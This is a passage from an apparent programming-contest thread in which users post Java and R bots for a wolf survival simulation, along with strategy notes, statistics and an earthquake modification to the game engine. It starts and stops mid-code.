(safestCellId) { case UP_LEFT: // check to see whether holding is not safer than moving up if (dangerMap[1][1] > dangerMap[0][1] ) { // move up if safer than moving left or if equally safe, when randomly chosen if (dangerMap[0][1] < dangerMap[1][0] || (dangerMap[0][1] == dangerMap[1][0] && Math.random()>0.5)) { move=Move.UP; } // left must be safest :P else { move=Move.LEFT; } } // check to see whether holding is not safer than moving left else if (dangerMap[1][1] > dangerMap[1][0] ) { move=Move.LEFT; } break; case UP_RIGHT: // check to see whether holding is not safer than moving up if (dangerMap[1][1] > dangerMap[0][1] ) { // move up if safer than moving right or if equally safe, when randomly chosen if (dangerMap[0][1] < dangerMap[1][2]|| (dangerMap[0][1] == dangerMap[1][2] && Math.random()>0.5)) { move=Move.UP; } // right must be safest :P else { move=Move.RIGHT; } } // check to see whether holding is not safer than moving right else if (dangerMap[1][1] > dangerMap[1][2] ) { move=Move.RIGHT; } break; case DOWN_LEFT: // check to see whether holding is not safer than moving down if (dangerMap[1][1] > dangerMap[2][1] ) { // move down if safer than moving left or if equally safe, when randomly chosen if (dangerMap[2][1] < dangerMap[1][0]|| (dangerMap[2][1] == dangerMap[1][0] && Math.random()>0.5)) { move=Move.DOWN; } // left must be safest :P else { move=Move.LEFT; } } // check to see whether holding is not safer than moving left else if (dangerMap[1][1] > dangerMap[1][0] ) { move=Move.LEFT; } break; case DOWN_RIGHT: // check to see whether holding is not safer than moving down if (dangerMap[1][1] > dangerMap[2][1] ) { // move down if safer than moving right or if equally safe, when randomly chosen if (dangerMap[2][1] < dangerMap[2][2] || (dangerMap[2][1] == dangerMap[1][2] && Math.random()>0.5)) { move=Move.DOWN; } // right must be safest :P else { move=Move.RIGHT; } } // check to see whether holding is not safer than moving right else if (dangerMap[1][1] > dangerMap[1][2] ) { move=Move.RIGHT; } break; } } return move; } } ``` [Answer] # StoneGuardianWolf This was pretty fun. I made a clunky port of the java code to javascript with createjs support for visualization: [JavaScript StoneGuardianWolf](http://www.heartpirates.com/wildjs) The StoneGuardianWolf seeks out pet rocks and takes shelter beside Stones. She protects them and would rather sacrifice herself for their safety. ### Stats **Single Player:** ~75% Wolf survival rate + 35% Pet (Stone) survival rate. **Summary:** 75% + 35% ---> **110% Success Rate!** :) **Multi Player:** Untested. ### Change Log **v2:** Updated AI vs GamblerWolf and pet rock seeking strategy. **v1:** Better Wolf avoidance **v0:** Birthday ### Java Code ``` package animals; public class StoneGuardianWolf extends Animal { public StoneGuardianWolf() { super('W'); } private boolean petRock = false; private int heartache = 0; public Attack fight(char c) { this.heartache--; switch (c) { case 'B': return Attack.SCISSORS; case 'L': return Attack.SCISSORS; case 'S': // A motherly sacrifice return Attack.SUICIDE; default: int n = this.heartache % 3; if (n < 1) return Attack.PAPER; if (n < 2) return Attack.ROCK; return Attack.SCISSORS; } } public Move move() { char[][] surr = this.surroundings; int[][] clairvoyance = new int[3][3]; for (int i = 0; i < 3; i++) for (int j = 0; j < 3; j++) clairvoyance[i][j] = 1; boolean seeNoStone = true; for (int i = 0; i < 3; i++) { for (int j = 0; j < 3; j++) { switch (surr[i][j]) { case 'L': if (i < 1 && j < 1) { clairvoyance[1][0] += 50; clairvoyance[0][1] += 50; } if (i == 1 && j < 1) { // above clairvoyance[1][1] += 50; } if (i < 1 && j == 1) { // left clairvoyance[1][1] += 50; } break; case 'S': // seek stones for protection seeNoStone = false; this.petRock = true; clairvoyance[i][j] += 999; // Only hugs! if (i < 2) clairvoyance[i + 1][j] -= 10; if (j < 2) clairvoyance[i][j + 1] -= 10; if (i > 0) clairvoyance[i - 1][j] -= 10; if (j > 0) clairvoyance[i][j - 1] -= 10; break; case 'B': // ignore bears break; case 'W': // skip self if (i == 1 && j == 1) continue; int m = 25; // avoid wolves // don't fight unless pet rock is in danger if (petRock) clairvoyance[i][j] -= 999; // motherly wrath else clairvoyance[i][j] += 100; // avoid stepping into wolf path if (i != 1 && j != 1) { if (i < 2) clairvoyance[i + 1][j] += m; if (j < 2) clairvoyance[i][j + 1] += m; if (i > 0) clairvoyance[i - 1][j] += m; if (j > 0) clairvoyance[i][j - 1] += m; } break; default: clairvoyance[i][j] += 0; } } // for loop } // for loop int size = clairvoyance[1][1]; int x = 1; int y = 1; for (int i = 0; i < 3; i++) { for (int j = 0; j < 3; j++) { if (i != 1 || j != 1) continue; int tmp = clairvoyance[i][j]; if (tmp < size) { size = tmp; x = i; y = j; } } } if (seeNoStone) this.heartache++; this.petRock = false; if (seeNoStone && heartache % 10 == 0) { // Find a pet stone! :3 if ((heartache % 3) < 2 || clairvoyance[1][2] >= 45) { // try move right if (clairvoyance[2][1] < 45) return Move.RIGHT; } // try down instead if (clairvoyance[1][2] < 45) return Move.DOWN; } if (x == 0 && y == 1) return Move.LEFT; if (x == 2 && y == 1) return Move.RIGHT; if (x == 1 && y == 0) return Move.UP; if (x == 1 && y == 2) return Move.DOWN; if (!seeNoStone) this.petRock = true; return Move.HOLD; } } ``` [Answer] ## Wion Tries to do as little as possible to survive as long as possible in expected value. It tries to move parallel to lions (regardless of whether it sees any). It ignores wolves, since it decides they are unpredictable. If it encounters a wolf it should win about half the fights (this is optimal unless I attempt to do pattern matching). My wolves should never fight each other. If it encounters a lion (which it probably shouldn't) it should win about 3/4 of the fights. Bears and rocks should always lose. Assuming there are any wolves in the simulation using another strategy, they would be wise to avoid my wolves, since they have a 50% chance of losing any encounter. On average this should perform at least as well as any other strategy. If I understood the rules correctly, this should be the optimal strategy. ``` package animals; import java.util.Random; public class Wion extends Animal { private boolean down; public Wion() { super('W'); down=true;} public Attack fight(char opponent) { switch (opponent) { case 'B': case 'L': return Attack.SCISSORS; case 'S': return Attack.PAPER; default: Random rn = new Random(); int i = Math.abs(rn.nextInt() % 4); while (i==3) {i = Math.abs(rn.nextInt() % 4);} return Attack.values()[i]; } } public Move move() { down=!down; if(!down) { return Move.DOWN; } return Move.RIGHT; } } ``` [Answer] ## Wolves with a Collective Memory A Wolf pack in R The idea of this wolf pack is that it keeps in memory who's alive or dead, check what the dead wolves and the alive wolves used as attacks and change the choice probability accordingly. Here is the R code: ``` infile <- file("stdin") open(infile) repeat{     input <- readLines(infile,1)     type <- substr(input,1,1)     id <- substr(input,2,3)     if(nchar(input)>3){         info <- substr(input,4,nchar(input))     }else{         info <- NULL     }     attack <- function(id,info){         if(info%in%c("B","L")){choice <- "S"}         if(info=="S"){choice <- "P"}         if(info=="W"){             if(exists("memory")){                 dead <- memory$ID[memory$Status=="Dead"] veteran <- memory[memory$Attack!="" & !is.na(memory$Attack), ] if(nrow(veteran[!is.na(veteran[,1]),])>0){ deadvet<-veteran[veteran$ID%in%dead,] deadvet<-unlist(lapply(split(deadvet,deadvet$ID),function(x)tail(x$Attack,1))) deadvet <- table(factor(deadvet,levels=c("R","P","S",""))) livevet <- table(factor(veteran$Attack,levels=c("R","P","S","")))-deadvet                     probR <- (1+livevet['R'])/(1+livevet['R']+deadvet['R'])                     probS <- (1+livevet['S'])/(1+livevet['S']+deadvet['S'])                     probP <- (1+livevet['P'])/(1+livevet['P']+deadvet['P'])                     choice <- sample(c("S","P","R"),1,prob=c(probS,probP,probR))                     memory <- rbind(memory, data.frame(ID=id, Status="Alive", Attack=choice))                 }else{                     choice <- sample(c("S","P","R"),1)                     memory <- rbind(memory, data.frame(ID=id, Status="Alive", Attack=choice))                 }             }else{                 choice <- sample(c("S","P","R"),1)                 memory <- data.frame(ID=id, Status="Alive", Attack=choice)             }         }         paste(choice,id,sep="")     }     move <- function(id,info){         choice <- "H"         paste(choice,id,sep="")     }     initialize <- function(id){         if(exists("memory")){             memory <- rbind(memory,data.frame(ID=id,Status="Alive",Attack=""))         }else{     memory <- data.frame(ID=id,Status="Alive",Attack="") }         confirmed_dead <- memory$ID[memory$Status=="Dead"]         last_seen <- memory[!memory$ID%in%confirmed_dead,]         last_seen <- last_seen[last_seen$Attack=="",]         lid <- table(last_seen$ID)         turns <- max(lid)         dead <- lid[lid<(turns-1)]         if(length(dead)>0){             dead_id <- names(dead)             for(i in dead_id){                 memory <- rbind(memory, data.frame(ID=i, Status="Dead", Attack=""))             }         }         paste("K",id,sep="")     }     result <- switch(type,"A"=attack(id,info),"M"= move(id,info),"S"=initialize(id))     cat(result,"\n",sep="")     flush(stdout()) } ``` It uses @ProgrammerDan wrapper (thank you!), with WolfCollectiveMemory as custom name and "Rscript WolfCollectiveMemory.R" as invocation. [Answer] # MimicWolf The goal of this wolf is to mimic other wolves. It finds a wolf follows it to the best of its ability. MimicWolf doesn't ask questions like : How can I avoid that wolf/bear/lion/stone? No, MimicWolf just asks questions like: Where is a wolf for me to follow? Where do I think the wolf that I am following is going to go? Is that the wolf that I was following is it a different wolf? Where did the wolf that I was following go? I will admit that most of those questions are not yet be answered well, but for the time being here is my submission of MimicWolf ``` package animals; import java.util.*; public class MimicWolf extends Animal { final int TURN_MEMORY = 5; Random rand = new Random(); Animal.Move lastMove = Animal.Move.UP; boolean mimicingWolf = false; Pos[] wolfPreviousPos = new Pos[TURN_MEMORY]; RelativePos[] relativePositions = new RelativePos[TURN_MEMORY]; Move[] wolfPreviousMove = new Move[TURN_MEMORY - 1]; int turnsWithLostWolf = 0; public MimicWolf() { super('W'); } public Animal.Attack fight(char c) { switch (c) { case 'B': return Animal.Attack.SCISSORS; case 'L': return Animal.Attack.SCISSORS; case 'S': return Animal.Attack.PAPER; default: int x = rand.nextInt(4); return Animal.Attack.values()[x]; } } public Animal.Move move() { Pos wolfPos = null; wolfPos = lookForSurroundingWolf(); if (turnsWithLostWolf == 4) { mimicingWolf = false; wolfPreviousPos = new Pos[5]; relativePositions = new RelativePos[5]; turnsWithLostWolf = 0; } if (mimicingWolf) { int indexOfLastMove = 0; for (int i = 0; wolfPreviousPos[i] != null && i < wolfPreviousPos.length; i++) { indexOfLastMove = i; } //is wolf still visible?? Pos wolfNewPos = isWolfVisible(wolfPreviousPos[indexOfLastMove]); if (wolfNewPos.x == -1) {//wolf is not visible turnsWithLostWolf++; return moveOppositeDirection(lastMove); } else { return mimicWolf(wolfNewPos, indexOfLastMove); //need Better way to mimic } } else { //check if new wolf around if (wolfPos.x == -1) { return searchForWolf(); } else { mimicingWolf = true; return mimicWolf(wolfPos, 0); } } } private Animal.Move searchForWolf() { Animal.Move newMove = null; while (newMove == null || newMove == lastMove) { newMove = Animal.Move.values()[rand.nextInt(3)]; } lastMove = newMove; return newMove; } private Pos lookForSurroundingWolf() { for (Integer i = 0; i < surroundings.length; i++) { for (Integer j = 0; j < surroundings[0].length; j++) { if (i == 1 && j == 1) { //this is myself >.< } else if (surroundings[i][j] == 'W') { return new Pos(i, j); } } } return new Pos(-1, -1); } /* for mimicWolf when movesMimiced == 1 or 2 this is the base case, Any number greater the wolf will attempt to mimic the next move based on pattern of previous moves we assume that we are following the same wolf as last time */ private Animal.Move mimicWolf(Pos wolfCurrentPos, int movesMimiced) { wolfPreviousPos[movesMimiced] = wolfCurrentPos; insertToRelativePos(wolfCurrentPos, movesMimiced); if (movesMimiced == 0) { Move m1 = null, m2 = null; if (wolfPreviousPos[0].x == 0) { m1 = Move.LEFT; } else if (wolfPreviousPos[0].x == 2) { m1 = Move.RIGHT; } if (wolfPreviousPos[0].y == 0) { m2 = Move.UP; } else if (wolfPreviousPos[0].y == 2) { m2 = Move.DOWN; } return randOfMoves(m1, m2); //guess which way to go } wolfPreviousMove[movesMimiced - 1] = getDirection(wolfPreviousPos[movesMimiced - 1], wolfPreviousPos[movesMimiced]); if (movesMimiced == 1) { //if pos 1 was a cornor if(relativePositions[0] == RelativePos.CORNER){ if(relativePositions[1] == RelativePos.CORNER){ if(wolfPreviousPos[0].equals(wolfPreviousPos[1])){ return lastMove; } return moveOppositeDirection(lastMove); } else if(relativePositions[1] == RelativePos.EDGE){ return Move.HOLD; //he held so i will hold } }else if(relativePositions[1] == RelativePos.EDGE){ if(relativePositions[1] == RelativePos.EDGE){ return lastMove; } else if(relativePositions[1] == RelativePos.CORNER){ //only possibility is that I held, and he moved return wolfPreviousMove[0]; } } } else { //Return most common move the wolf I am copying has made int[] mostCommonMoveArr = {0,0,0,0,0}; for(int i = 0; i <= movesMimiced; i++){ switch(wolfPreviousMove[i]){ case UP: mostCommonMoveArr[0]++; case RIGHT: mostCommonMoveArr[1]++; case DOWN: mostCommonMoveArr[2]++; case LEFT: mostCommonMoveArr[3]++; case HOLD: mostCommonMoveArr[4]++; } } int maxValue = -1; int maxLocal = 0; for(int i = 0; i < 5; i++){ if(mostCommonMoveArr[i] > maxValue) maxValue = mostCommonMoveArr[i]; maxLocal = i; } return Move.values()[maxLocal]; } return Move.HOLD; //shouldn't happen } private Pos isWolfVisible(Pos lastPos) { Pos mimicedWolfPos = lookForSurroundingWolf(); while (mimicedWolfPos.x != -1 && mimicedWolfPos.y != -1) { //did we find the wolf? if (lastPos.x == mimicedWolfPos.x || lastPos.y == mimicedWolfPos.y) { return mimicedWolfPos; } surroundings[mimicedWolfPos.x][mimicedWolfPos.y] = ' '; mimicedWolfPos = lookForSurroundingWolf(); } return new Pos(-1, -1); } private Animal.Move moveOppositeDirection(Move m) { switch (m) { case UP: return Move.DOWN; case RIGHT: return Move.LEFT; case DOWN: return Move.UP; case LEFT: return Move.RIGHT; case HOLD: return Move.LEFT; //No idea why this would happen but whatever default: return Move.HOLD; } } private Animal.Move getDirection(Pos firstPos, Pos secondPos){ if(firstPos.equals(secondPos)) return Move.HOLD; if(firstPos.x == secondPos.x){ if(firstPos.y > secondPos.y) return Move.UP; return Move.DOWN; } if(firstPos.x > secondPos.x) return Move.RIGHT; return Move.LEFT; } private Animal.Move randOfMoves(Move m1, Move m2) { if (m1 == null) { return m2; } else if (m2 == null) { return m1; } int r = rand.nextInt(2); if (r == 0) { return m1; } return m2; } private class Pos { int x; int y; protected Pos(int x, int y) { this.x = x; this.y = y; } @Override public boolean equals(Object obj){ Pos pos = (Pos) obj; return (this.x == pos.x && this.y == pos.y); } } private void insertToRelativePos(Pos pos, int posToAdd){ if(pos.x == 1 || pos.y == 1){ relativePositions[posToAdd] = RelativePos.EDGE; }else{ relativePositions[posToAdd] = RelativePos.CORNER; } } private enum RelativePos{ CORNER, EDGE } } ``` Edit: I added a better mimic system. Wolves still don't well as they don't attempt to avoid anything at the moment while continuously moving around. [Answer] # WhenIGrowUp When this wolf grows up, it wants to be a Lion. So it randomly walks around looking for Lions to follow their footsteps and learn how to be a Lion. This wolf was designed as a counter to the wolves that swap places with Lions. ``` package animals; import java.util.Random; /** * * @author Quincunx */ public class WhenIGrowUp extends Animal { Random r; boolean following; boolean toggle; public WhenIGrowUp() { super('W'); r = new Random(); following = false; toggle = false; } @Override public Attack fight(char c) { switch (c) { case 'B': return Attack.SCISSORS; case 'L': case 'S': return Attack.PAPER; default: return Attack.values()[r.nextInt(4)]; } } @Override public Move move() { if (surroundings[1][2] == 'L') { return Move.RIGHT; } if (surroundings[2][1] == 'L') { return Move.DOWN; } Move direction = Move.values()[r.nextInt(5)]; out: for (int y = 0; y < 3; y++) { for (int x = 0; x < 3; x++) { if (surroundings[y][x] == 'L') { if (y == 0 && x == 1) { direction = Move.UP; } else if (y == 1 && x == 0) { direction = Move.LEFT; } else { direction = Move.HOLD; } break out; } } } return direction; } } ``` [Answer] Not an entry, but since most of the wolves are just stationary, it's actually quite boring to watch, so I added a natural disaster into the Wild: ## Earthquake! About 5% of the time, an earthquake will happen with random magnitude, 100 being the highest, 20 the lowest. This will set an `earthquakeCounter` which will decrease exponentially over time after an earthquake. ### What happen during an earthquake? All Animals will have a chance to move randomly, depending on the value of `earthquakeCounter`. So if the value is 75, about 75% of the Animals (including Stones) will move randomly to any direction (distributed evenly). This, non-surprisingly, kills many of the animals, so the maximum is usually about 50 animals after a few trials. Also, the earthquake will be visualized in the GUI, which varies depending on the magnitude. ### I can't see the earthquake! The chance for an earthquake to happen is quite slim, only 5%. But fret not! I've also included **an "Earthquake!" button** on the GUI, in case you want to nudge all the Wolves from their comfort zones... Here is a screenshot: ![an earthquake](https://i.stack.imgur.com/mKYOu.png) Here is the code: **Wild.java** `main()` function (updated to skip the GUI for the first 100 iteration to speed up): ``` public static void main(String[] args) { int size = Math.round((float)Math.sqrt(classes.length+3)*20); final Game game = new Game(size); Statistics stats = new Statistics(game, classes); String[] colors = generateColors(classes.length); int idx = 0; for(Class c : classes){ Animal.setColor(c, colors[idx]); idx++; game.populate(c, 100); } stats.update(); JFrame gui = new JFrame(); Container pane = gui.getContentPane(); JLabel boardLabel = new JLabel(); boardLabel.setFont(new Font(Font.MONOSPACED, Font.PLAIN, 12)); boardLabel.setText(game.toString()); pane.add(boardLabel, BorderLayout.WEST); JLabel statsLabel = new JLabel(); statsLabel.setFont(new Font(Font.MONOSPACED, Font.PLAIN, 12)); statsLabel.setText(stats.toString()); pane.add(statsLabel, BorderLayout.EAST); JButton earthquakeButton = new JButton(); earthquakeButton.addActionListener(new ActionListener(){ @Override public void actionPerformed(ActionEvent e) { game.earthquake(true); } }); earthquakeButton.setText("Earthquake!"); pane.add(earthquakeButton, BorderLayout.SOUTH); gui.pack(); gui.setVisible(true); for(int i=0; i<100; i++){ game.iterate(); stats.update(); } while(true) { game.iterate(); stats.update(); boardLabel.setText(game.toString()); statsLabel.setText(stats.toString()); try { Thread.sleep(100); } catch (InterruptedException e) {} } } ``` **Game.java** ``` package wild; import animals.Animal; import java.util.ArrayList; import java.util.Random; import animals.Animal.Attack; import animals.Animal.Move; public class Game { private ArrayList<ArrayList<ArrayList<Animal>>> board; private final Random gen = new Random(); protected final int SIZE; private static int earthquakeCounter = 0; protected Game(int size) { this.SIZE = size; board = new ArrayList<>(); for (int i = 0; i < size; i++) { board.add(new ArrayList<ArrayList<Animal>>()); for (int j = 0; j < size; j++) { board.get(i).add(new ArrayList<Animal>()); } } } protected <T extends Animal> void populate(Class<T> species, int num) { while (num > 0) { int row = gen.nextInt(SIZE); int col = gen.nextInt(SIZE); if (board.get(row).get(col).isEmpty()) { try { board.get(row).get(col).add(species.newInstance()); } catch (InstantiationException | IllegalAccessException e) {} num--; } } } protected void iterate() { earthquake(false); moveAll(); flatten(); } private void moveAll() { Game game = new Game(SIZE); for (int i = 0; i < SIZE; i++) { for (int j = 0; j < SIZE; j++) { if (!board.get(i).get(j).isEmpty()) { Animal a = board.get(i).get(j).get(0); a.surroundings = getArea(i, j); Move aMove; try { aMove = a.move(); } catch (Exception e) { aMove = Move.HOLD; } if(gen.nextInt(100)<earthquakeCounter){ aMove = Move.values()[gen.nextInt(4)]; } switch(aMove) { case UP: game.board.get((i-1+SIZE)%SIZE).get(j).add(a); break; case RIGHT: game.board.get(i).get((j+1)%SIZE).add(a); break; case DOWN: game.board.get((i+1)%SIZE).get(j).add(a); break; case LEFT: game.board.get(i).get((j-1+SIZE)%SIZE).add(a); break; case HOLD: game.board.get(i).get(j).add(a); break; } } } } board = game.board; } /** * Give a random chance for an earthquake to happen */ protected void earthquake(boolean force){ if(force || (earthquakeCounter==0 && gen.nextInt(1000)>950)){ earthquakeCounter = 20+gen.nextInt(80); } else { earthquakeCounter /= 2; } } private void flatten() { for (ArrayList<ArrayList<Animal>> row : board) { for (ArrayList<Animal> cell : row) { while (cell.size() > 1) { int rand1, rand2; rand1 = gen.nextInt(cell.size()); do { rand2 = gen.nextInt(cell.size()); } while (rand1 == rand2); Animal a = cell.get(rand1); Animal b = cell.get(rand2); Attack aTack, bTack; try { aTack = a.fight(b.letter); } catch (Exception e) { aTack = Attack.SUICIDE; } try { bTack = b.fight(a.letter); } catch (Exception e) { bTack = Attack.SUICIDE; } if (aTack == bTack) { cell.remove((Animal)(Math.random() > 0.5 ? a : b)); } else { switch (aTack) { case ROCK: cell.remove((Animal)(bTack == Attack.PAPER ? a : b)); break; case PAPER: cell.remove((Animal)(bTack == Attack.SCISSORS ? a : b)); break; case SCISSORS: cell.remove((Animal)(bTack == Attack.ROCK ? a : b)); break; } } } } } } protected int poll(Class c) { int count = 0; for (ArrayList<ArrayList<Animal>> row : board) { for (ArrayList<Animal> cell : row) { for (Animal a : cell) { if(c.isInstance(a)) count++; } } } return count; } public String toString() { String s = "<html>"; s += "<span style='background:"+getBackgroundColor()+"'>"; for (ArrayList<ArrayList<Animal>> row : board) { for (ArrayList<Animal> cell : row) { if (cell.isEmpty()) s += "&nbsp;&nbsp;"; else s += "<span style='color:"+ Animal.color.get(cell.get(0).getClass()) +"'>" + cell.get(0).letter + "</span>&nbsp;"; } s+="<br>"; } s += "</span>"; return s + "</html>"; } private String getBackgroundColor(){ int shade = 255-(int)Math.floor(255*earthquakeCounter/100.0); String result = String.format("#%02x%02x%02x", shade, shade, shade); return result; } private char[][] getArea(int i, int j) { char[][] area = new char[3][3]; for(int k = -1; k <= 1; k++) { for(int l = -1; l <= 1; l++) { int temp1 = k+1; int temp2 = l+1; int temp3 = (i+k+SIZE)%SIZE; int temp4 = (j+l+SIZE)%SIZE; ArrayList<Animal> cell = board.get((i+k+SIZE)%SIZE).get((j+l+SIZE)%SIZE); area[k+1][l+1] = (char)(cell.isEmpty() ? ' ' : cell.get(0).letter); } } return area; } } ``` [Answer] # MultiWolf (Java) This wolf knows about other wolves in this programming challenge. It instantiates them (as 'pets') if they're available and uses them to determine what to do by asking every wolf-pet it owns and chooses the most popular response. This wolf should be infinite-recursion-safe - i.e. if someone else implements a similar concept - and will return a default action of `Attack.ROCK`/`Move.HOLD` if it detects being called while it is calling other animals. In my tests, this has had varying results. I'm not sure if this will be allowed or not. But if it is, and some impossible miracle occurs causing it to win, I think the winning title should be passed on to the wolf that comes "second" - it's only fair, I probably stole its logic. It avoids suicide. **Edit** - I believe this Wolf will need to be loaded after the wolves it references to function properly. ``` package animals; import java.util.HashMap; import java.util.LinkedList; import java.util.Map.Entry; public class MultiWolf extends Animal { private static final LinkedList<Animal> pets = new LinkedList<>(); private static boolean inPetCall = false; private static void attemptLoadPet(String className) { try { Object pet = Class.forName(className).newInstance(); if (pet instanceof Animal) { pets.add((Animal) pet); } } catch (Exception ex) { // this wolf is not available System.out.println(className + " is not available for MultiWolf cheating."); } } static { attemptLoadPet("animals.AlphaWolf"); attemptLoadPet("animals.CamperWolf"); attemptLoadPet("animals.GamblerWolf"); attemptLoadPet("animals.GatheringWolf"); attemptLoadPet("animals.LazyWolf"); attemptLoadPet("animals.Sheep"); attemptLoadPet("animals.Wion"); attemptLoadPet("animals.MOSHPITFRENZYWolf"); attemptLoadPet("animals.PassiveAgressiveWolf"); attemptLoadPet("animals.StoneEatingWolf"); attemptLoadPet("animals.HerjanWolf"); attemptLoadPet("animals.HonorWolf"); attemptLoadPet("animals.MimicWolf"); attemptLoadPet("animals.LionHunterWolf"); attemptLoadPet("animals.OmegaWolf"); attemptLoadPet("animals.WolfWithoutFear"); attemptLoadPet("animals.WolfRunningWithScissors"); // attemptLoadPet("animals.SmartWolf"); // According to Rusher, the above cheating of a non-Java wolf breaks the non-Java-entry wrapper. attemptLoadPet("animals.ShadowWolf"); attemptLoadPet("animals.HybridWolf"); attemptLoadPet("animals.ProAlpha"); attemptLoadPet("animals.ForrestWolf"); attemptLoadPet("animals.WhenIGrowUp"); attemptLoadPet("animals.MigratingWolf"); attemptLoadPet("animals.BlindWolf"); } public MultiWolf() { super('W'); } @Override public Attack fight(char opponent) { if (inPetCall) { // stop infinite recursion return Attack.ROCK; } inPetCall = true; HashMap<Attack, Integer> collect = new HashMap<>(); collect.put(Attack.ROCK, 0); collect.put(Attack.PAPER, 0); collect.put(Attack.SCISSORS, 0); collect.put(Attack.SUICIDE, -9001); for (Animal a : pets) { a.surroundings = this.surroundings; Attack atk = a.fight(opponent); collect.put(atk, collect.get(atk)+1); } int top=0; Attack atk=Attack.ROCK; for (Entry<Attack, Integer> ent : collect.entrySet()) { if (ent.getValue() > top) { atk = ent.getKey(); top = ent.getValue(); } } inPetCall = false; return atk; } @Override public Move move() { if (inPetCall) { // stop infinite recursion return Move.HOLD; } inPetCall = true; HashMap<Move, Integer> collect = new HashMap<>(); collect.put(Move.DOWN, 0); collect.put(Move.HOLD, 0); collect.put(Move.LEFT, 0); collect.put(Move.RIGHT, 0); collect.put(Move.UP, 0); for (Animal a : pets) { a.surroundings = this.surroundings; Move mv = a.move(); collect.put(mv, collect.get(mv)+1); } int top=0; Move mv=Move.HOLD; for (Entry<Move, Integer> ent : collect.entrySet()) { if (ent.getValue() > top) { mv = ent.getKey(); top = ent.getValue(); } } inPetCall = false; return mv; } } ``` [Answer] ## Stone Eating Wolf Here is my submission. This wolf keeps in place if he doesn't see any stone, lion or wolf in his surroundings. If he sees a stone and no danger of being attacked by another wolf or lion he tries to eat it. If he sees any danger, he flees! **EDIT 1**: Improved watching for danger algorithm. He flees better from danger now :) ``` package animals; import java.util.ArrayList; import java.util.Collections; import java.util.List; public class StoneEatingWolf extends Animal{ public StoneEatingWolf() { super('W'); } @Override public Attack fight(char c) { switch (c){ case 'L': return Attack.SCISSORS; case 'B': return Attack.SCISSORS; case 'W': return getRandomAttack(); case 'S': return Attack.PAPER; default: return getRandomAttack(); } } private Attack getRandomAttack(){ List<Attack> att = new ArrayList<>(); att.add(Attack.PAPER); att.add(Attack.PAPER); att.add(Attack.ROCK); att.add(Attack.SCISSORS); Collections.shuffle(att); return att.get(0); } @Override public Move move() { List<Move> m = new ArrayList<>(); //First see if there is any dangerous animal. If it is, then flee if (isThereAnyDangerousAnimal()){ m.add(Move.UP); m.add(Move.RIGHT); m.add(Move.LEFT); m.add(Move.DOWN); getSafeMoves(m); }else{ //No danger: Look for stones to eat if (isThereAnimalAtNorth('S')){ m.add(Move.UP); } if (isThereAnimalAtEast('S')){ m.add(Move.RIGHT); } if (isThereAnimalAtWest('S')){ m.add(Move.LEFT); } if (isThereAnimalAtSouth('S')){ m.add(Move.DOWN); } } if (m.isEmpty()){ return Move.HOLD; } else { Collections.shuffle(m); return m.get(0); } } private void getSafeMoves(List<Move> lm){ if (isThereAnimalAtNorth('L') || isThereAnimalAtNorth('W')){ lm.remove(Move.UP); } if (isThereAnimalAtEast('L') || isThereAnimalAtEast('W')){ lm.remove(Move.RIGHT); } if (isThereAnimalAtSouth('L') || isThereAnimalAtSouth('W')){ lm.remove(Move.DOWN); } if (isThereAnimalAtWest('L') || isThereAnimalAtWest('W')){ lm.remove(Move.LEFT); } } private boolean isThereAnimalAtNorth(char an){ if (surroundings[0][0] == an || surroundings [0][1] == an || surroundings [0][2] == an){ return true; } return false; } private boolean isThereAnimalAtSouth(char an){ if (surroundings[2][0] == an || surroundings [2][2] == an || surroundings [2][2] == an){ return true; } return false; } private boolean isThereAnimalAtEast(char an){ if (surroundings[0][2] == an || surroundings [1][2] == an || surroundings [2][2] == an){ return true; } return false; } private boolean isThereAnimalAtWest(char an){ if (surroundings[0][0] == an || surroundings [1][0] == an || surroundings [2][0] == an){ return true; } return false; } private boolean isThereAnyDangerousAnimal(){ if (isThereAnimalAtEast('L') || isThereAnimalAtEast('W') || isThereAnimalAtNorth('L') || isThereAnimalAtNorth('W') || isThereAnimalAtSouth('L') || isThereAnimalAtSouth('W') || isThereAnimalAtWest('L') || isThereAnimalAtWest('W')){ return true; } return false; } } ``` ## **Edit 2**: Some Statistics I have manage to make StoneEatingWolf the top 5-6 Wolf in the simulations I ran: ![Average Results after 40 plays of 1000 iterations](https://i.stack.imgur.com/O3kTx.jpg) I make some analysis of the fights where Stone Eating Wolves are implied. Running 40 plays of 1000 iterations I get these results: ![Fight results chart](https://i.stack.imgur.com/D5VQW.jpg) Victory are Stone Eating Wolf wins. Chart shows what we already know: The most successful wolves are the ones that doesn't meet other wolves. I also noticed that my other wolves (Migrating Wolves) are screwing some of my Stone Eaters. I hope they are hunting down another wolves too. Funny enough I didn't stumble with any Lazy Wolf nor any Camper Wolf. Also, these are the results of the attacks I received in 20 runs (Stones and Bears excluded): ``` PAPER 447 ROCK 881 SCISSORS 581 SUICIDE 230 ``` Seems like there is a obvious bias to `ROCK` attacks. Knowing this I made my wolf `PAPER` attacks slightly more frequents. [Answer] # HonorWolf My Wolf is fleeing from the other wolves. If he can't run away, he honorful starts a fight. ``` package animals; public class HonorWolf extends Animal { private int moves = 0; public HonorWolf() { super('W'); } @Override public Attack fight(char opponent) { switch(opponent) { case 'L': return Attack.SCISSORS; case 'B': return Attack.SCISSORS; case 'S': return Attack.PAPER; default: return Attack.PAPER; } } public Move move() { int numWolves = 0, numLions = 0; moves++; for (int y = 0; y != 3; y++) { for (int x = 0; x != 3; x++) { if(surroundings[y][x] != ' ') { if(surroundings[y][x] == 'W') { numWolves++; } else if(surroundings[y][x] == 'L') { numLions++; } } } } if (numWolves == 1 && numLions == 0) { return Move.HOLD; } if (surroundings[0][1] == 'L' && moves%2 != 0) { return Move.UP; } if (surroundings[1][0] == 'L' && moves%2 == 0) { return Move.LEFT; } if (surroundings[0][1] == 'W') { if (surroundings[2][1] == ' ' || surroundings[2][1] == 'S') { return Move.DOWN; } else if (surroundings[1][2] == ' ' || surroundings[1][2] == 'S') { return Move.RIGHT; } else if (surroundings[1][0] == ' ' || surroundings[1][0] == 'S') { return Move.LEFT; } else { return Move.UP; } } if (surroundings[1][0] == 'W') { if (surroundings[1][2] == ' ' || surroundings[1][2] == 'S') { return Move.RIGHT; } else if (surroundings[0][1] == ' ' || surroundings[0][1] == 'S') { return Move.UP; } else if (surroundings[2][1] == ' ' || surroundings[2][1] == 'S') { return Move.DOWN; } else { return Move.LEFT; } } if (surroundings[1][2] == 'W') { if (surroundings[1][0] == ' ' || surroundings[1][0] == 'S') { return Move.LEFT; } else if (surroundings[0][1] == ' ' || surroundings[0][1] == 'S') { return Move.UP; } else if (surroundings[2][1] == ' ' || surroundings[2][1] == 'S') { return Move.DOWN; } else { return Move.RIGHT; } } if (surroundings[2][1] == 